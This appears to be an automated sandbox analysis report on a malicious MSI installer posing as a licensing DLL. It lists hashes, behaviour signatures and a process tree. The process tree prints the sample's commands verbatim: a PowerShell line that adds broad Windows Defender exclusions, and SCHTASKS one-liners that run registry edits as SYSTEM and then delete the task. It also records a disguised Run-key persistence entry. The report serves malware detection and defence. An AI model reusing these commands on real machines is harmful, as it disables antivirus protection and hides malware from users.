Analysis
- max time kernel
144s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 04:40
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
setup_n0c011.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
34 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup_n0c011.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target setup_n0c011.msi
- Size 6.3MB
- Sample260804-fatltada85
- SHA256 371d8aa1db65a79f5c07c9a9ba2e43564bf6b63f4aab8abe9bd72262e2f8bcc2
- MD5 9627b012eda807b35f0ffaea4930fbe8
- SHA1 c4e34ef9e0275525fc5ee22b9079aadf6efebc34
- SHA512 33ba7691e6425542b37d11c28e3f11420bc8146bfaf59f0bdb068923f598e1d7bf13d023a37aec2de155cf7c02cb8473f4d63a49f38abeeed1fe757a5684fa06
- SSDEEP 98304:G5uZ0ZQIG3+RbmMpNo14nFa4AUsBCvVvouVfCKfJ3f5XkqiKCC77AYZHx0z:+ZIMCCNbFa4AUsBCZoIfH5QSTHx0z
- TLSH T13C6633D438865730D09BC7B4A0E2296D7D393FC676B28C4EBB5E32242F772265276385
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 4 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\QgbADn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2084 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4524 mfDH3b.exe - Loads dropped DLL 2 IoCs
pid Process 4652 MsiExec.exe 4524 mfDH3b.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\QgbADn\\mfDH3b.exe\"" mfDH3b.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 12 4652 MsiExec.exe 14 4652 MsiExec.exe 17 4652 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\B: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4724 cmd.exe 5728 cmd.exe 2060 cmd.exe 2332 cmd.exe 5688 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b mfDH3b.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files (x86)\kES9v2\kES9v2.exe mfDH3b.exe File opened for modification C:\Program Files (x86)\kES9v2 mfDH3b.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe File opened for modification C:\Windows\Installer\MSIA7BF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA86C.tmp msiexec.exe File created C:\Windows\Installer\e59a224.msi msiexec.exe File created C:\Windows\SystemTemp\~DF085BDCED90CD771B.TMP msiexec.exe File created C:\Windows\Installer\e59a222.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DF9747BA972A94AD2B.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFCC564AA699D7CC46.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF049EA8BFFD146A3F.TMP msiexec.exe File opened for modification C:\Windows\Installer\e59a222.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1816 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3844 cmd.exe 5312 cmd.exe 5640 cmd.exe 4044 cmd.exe 6088 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000067831fc6f5c7bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380167831fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410167831fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e367831fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e667831fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "setup_n0c011.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "2B102BEBFA6D65C40AADE2B73C5662A1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1540 schtasks.exe 1028 schtasks.exe 2624 schtasks.exe 3360 schtasks.exe 4464 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5420 msiexec.exe 5420 msiexec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4652 MsiExec.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe 4524 mfDH3b.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1816 msiexec.exe Token: SeIncreaseQuotaPrivilege 1816 msiexec.exe Token: SeSecurityPrivilege 5420 msiexec.exe Token: SeCreateTokenPrivilege 1816 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1816 msiexec.exe Token: SeLockMemoryPrivilege 1816 msiexec.exe Token: SeIncreaseQuotaPrivilege 1816 msiexec.exe Token: SeMachineAccountPrivilege 1816 msiexec.exe Token: SeTcbPrivilege 1816 msiexec.exe Token: SeSecurityPrivilege 1816 msiexec.exe Token: SeTakeOwnershipPrivilege 1816 msiexec.exe Token: SeLoadDriverPrivilege 1816 msiexec.exe Token: SeSystemProfilePrivilege 1816 msiexec.exe Token: SeSystemtimePrivilege 1816 msiexec.exe Token: SeProfSingleProcessPrivilege 1816 msiexec.exe Token: SeIncBasePriorityPrivilege 1816 msiexec.exe Token: SeCreatePagefilePrivilege 1816 msiexec.exe Token: SeCreatePermanentPrivilege 1816 msiexec.exe Token: SeBackupPrivilege 1816 msiexec.exe Token: SeRestorePrivilege 1816 msiexec.exe Token: SeShutdownPrivilege 1816 msiexec.exe Token: SeDebugPrivilege 1816 msiexec.exe Token: SeAuditPrivilege 1816 msiexec.exe Token: SeSystemEnvironmentPrivilege 1816 msiexec.exe Token: SeChangeNotifyPrivilege 1816 msiexec.exe Token: SeRemoteShutdownPrivilege 1816 msiexec.exe Token: SeUndockPrivilege 1816 msiexec.exe Token: SeSyncAgentPrivilege 1816 msiexec.exe Token: SeEnableDelegationPrivilege 1816 msiexec.exe Token: SeManageVolumePrivilege 1816 msiexec.exe Token: SeImpersonatePrivilege 1816 msiexec.exe Token: SeCreateGlobalPrivilege 1816 msiexec.exe Token: SeBackupPrivilege 4476 vssvc.exe Token: SeRestorePrivilege 4476 vssvc.exe Token: SeAuditPrivilege 4476 vssvc.exe Token: SeBackupPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeBackupPrivilege 4044 srtasks.exe Token: SeRestorePrivilege 4044 srtasks.exe Token: SeSecurityPrivilege 4044 srtasks.exe Token: SeTakeOwnershipPrivilege 4044 srtasks.exe Token: SeBackupPrivilege 4044 srtasks.exe Token: SeRestorePrivilege 4044 srtasks.exe Token: SeSecurityPrivilege 4044 srtasks.exe Token: SeTakeOwnershipPrivilege 4044 srtasks.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe Token: SeTakeOwnershipPrivilege 5420 msiexec.exe Token: SeRestorePrivilege 5420 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1816 msiexec.exe 1816 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1816 msiexec.exe 5420 msiexec.exe 4652 MsiExec.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 5420 wrote to memory of 4044 5420 msiexec.exe 94 PID 5420 wrote to memory of 4652 5420 msiexec.exe 96 PID 4524 wrote to memory of 2084 4524 mfDH3b.exe 100 PID 4524 wrote to memory of 5728 4524 mfDH3b.exe 102 PID 5728 wrote to memory of 1540 5728 cmd.exe 104 PID 5728 wrote to memory of 1416 5728 cmd.exe 105 PID 5728 wrote to memory of 5316 5728 cmd.exe 107 PID 4524 wrote to memory of 2060 4524 mfDH3b.exe 109 PID 2060 wrote to memory of 1028 2060 cmd.exe 112 PID 2060 wrote to memory of 2296 2060 cmd.exe 114 PID 2060 wrote to memory of 1268 2060 cmd.exe 116 PID 5312 wrote to memory of 2816 5312 cmd.exe 118 PID 5640 wrote to memory of 5684 5640 cmd.exe 119 PID 4524 wrote to memory of 2332 4524 mfDH3b.exe 120 PID 2332 wrote to memory of 2624 2332 cmd.exe 122 PID 2332 wrote to memory of 2272 2332 cmd.exe 123 PID 2332 wrote to memory of 896 2332 cmd.exe 125 PID 4524 wrote to memory of 5688 4524 mfDH3b.exe 126 PID 5688 wrote to memory of 3360 5688 cmd.exe 128 PID 5688 wrote to memory of 5248 5688 cmd.exe 129 PID 5688 wrote to memory of 1504 5688 cmd.exe 131 PID 4524 wrote to memory of 4724 4524 mfDH3b.exe 134 PID 4724 wrote to memory of 4464 4724 cmd.exe 136 PID 4724 wrote to memory of 4388 4724 cmd.exe 137 PID 4724 wrote to memory of 708 4724 cmd.exe 139 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c011.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1816
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5420 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4044
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding ADFE2BE1278844E9418C4AE7112EA48B E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4652
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4476
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C:\Users\Public\QgbADn\mfDH3b.exe"C:\Users\Public\QgbADn\mfDH3b.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:2084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QgbADn\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5728 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QgbADn\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1540
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1416
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1028
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2296
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2624
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2272
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:896
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5688 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3360
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5248
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4464
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4388
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:708
